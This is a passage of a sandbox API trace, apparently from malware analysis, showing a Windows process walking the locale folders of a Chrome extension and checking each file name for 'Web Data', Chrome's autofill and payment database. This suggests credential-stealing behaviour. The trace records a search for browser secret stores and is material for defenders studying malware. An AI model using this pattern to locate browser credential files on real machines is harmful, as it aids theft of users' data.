lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\*.*" [0056.149] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc7f8 [0056.149] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.149] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.149] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.149] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.149] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.149] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.149] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.149] FindClose (in: hFindFile=0x2dc7f8 | out: hFindFile=0x2dc7f8) returned 1 [0056.149] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.149] LocalFree (hMem=0x2dc5b8) returned 0x0 [0056.149] FindNextFileA (in: hFindFile=0x2cc890, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.149] lstrcmpiA (lpString1=".", lpString2="pt_BR") returned -1 [0056.149] lstrcmpiA (lpString1="..", lpString2="pt_BR") returned -1 [0056.149] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.149] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.149] lstrlenA (lpString="\\") returned 1 [0056.149] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc4a8 [0056.149] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.149] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.149] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.149] lstrlenA (lpString="pt_BR") returned 5 [0056.149] LocalAlloc (uFlags=0x40, uBytes=0x107) returned 0x2dc5b8 [0056.149] lstrcpyA (in: lpString1=0x2dc5b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.149] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="pt_BR" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR" [0056.149] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.149] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR") returned 134 [0056.149] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR") returned 134 [0056.149] lstrlenA (lpString="\\*.*") returned 4 [0056.149] LocalAlloc (uFlags=0x40, uBytes=0x10b) returned 0x2dc6c8 [0056.149] lstrcpyA (in: lpString1=0x2dc6c8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR" [0056.149] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\*.*" [0056.150] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc7f8 [0056.150] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.150] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.150] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.150] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.150] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.150] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.150] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.150] FindClose (in: hFindFile=0x2dc7f8 | out: hFindFile=0x2dc7f8) returned 1 [0056.150] LocalFree (hMem=0x2dc6c8) returned 0x0 [0056.150] LocalFree (hMem=0x2dc5b8) returned 0x0 [0056.150] FindNextFileA (in: hFindFile=0x2cc890, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.150] lstrcmpiA (lpString1=".", lpString2="pt_PT") returned -1 [0056.150] lstrcmpiA (lpString1="..", lpString2="pt_PT") returned -1 [0056.150] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.150] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.150] lstrlenA (lpString="\\") returned 1 [0056.150] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc4a8 [0056.150] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.150] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.150] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.150] lstrlenA (lpString="pt_PT") returned 5 [0056.150] LocalAlloc (uFlags=0x40, uBytes=0x107) returned 0x2dc5b8 [0056.150] lstrcpyA (in: lpString1=0x2dc5b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.150] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="pt_PT" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT" [0056.150] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.150] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT") returned 134 [0056.150] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT") returned 134 [0056.150] lstrlenA (lpString="\\*.*") returned 4 [0056.150] LocalAlloc (uFlags=0x40, uBytes=0x10b) returned 0x2dc6c8 [0056.150] lstrcpyA (in: lpString1=0x2dc6c8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT" [0056.150] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\*.*" [0056.150] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc7f8 [0056.150] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.150] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.150] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.150] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.151] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.151] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.151] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.151] FindClose (in: hFindFile=0x2dc7f8 | out: hFindFile=0x2dc7f8) returned 1 [0056.151] LocalFree (hMem=0x2dc6c8) returned 0x0 [0056.151] LocalFree (hMem=0x2dc5b8) returned 0x0 [0056.151] FindNextFileA (in: hFindFile=0x2cc890, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.151] lstrcmpiA (lpString1=".", lpString2="ro") returned -1 [0056.151] lstrcmpiA (lpString1="..", lpString2="ro") returned -1 [0056.151] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.151] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.151] lstrlenA (lpString="\\") returned 1 [0056.151] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc4a8 [0056.151] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.151] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.151] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.151] lstrlenA (lpString="ro") returned 2 [0056.151] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc5b8 [0056.151] lstrcpyA (in: lpString1=0x2dc5b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.151] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="ro" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro" [0056.151] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.151] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro") returned 131 [0056.151] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro") returned 131 [0056.151] lstrlenA (lpString="\\*.*") returned 4 [0056.151] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc4a8 [0056.151] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro" [0056.151] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\*.*" [0056.151] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc7f8 [0056.151] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.151] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.151] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.151] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.151] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.151] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.151] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.151] FindClose (in: hFindFile=0x2dc7f8 | out: hFindFile=0x2dc7f8) returned 1 [0056.151] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.151] LocalFree (hMem=0x2dc5b8) returned 0x0 [0056.151] FindNextFileA (in: hFindFile=0x2cc890, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.151] lstrcmpiA (lpString1=".", lpString2="ru") returned -1 [0056.151] lstrcmpiA (lpString1="..", lpString2="ru") returned -1 [0056.151] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.151] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.151] lstrlenA (lpString="\\") returned 1 [0056.151] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc4a8 [0056.151] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.152] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.152] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.152] lstrlenA (lpString="ru") returned 2 [0056.152] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc5b8 [0056.152] lstrcpyA (in: lpString1=0x2dc5b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.152] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="ru" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru" [0056.152] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.152] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru") returned 131 [0056.152] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru") returned 131 [0056.152] lstrlenA (lpString="\\*.*") returned 4 [0056.152] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc4a8 [0056.152] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru" [0056.152] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\*.*" [0056.152] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc7f8 [0056.152] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.152] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.152] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.152] lstrcmpiA (lpString1="..", lpString2="..") returned 0 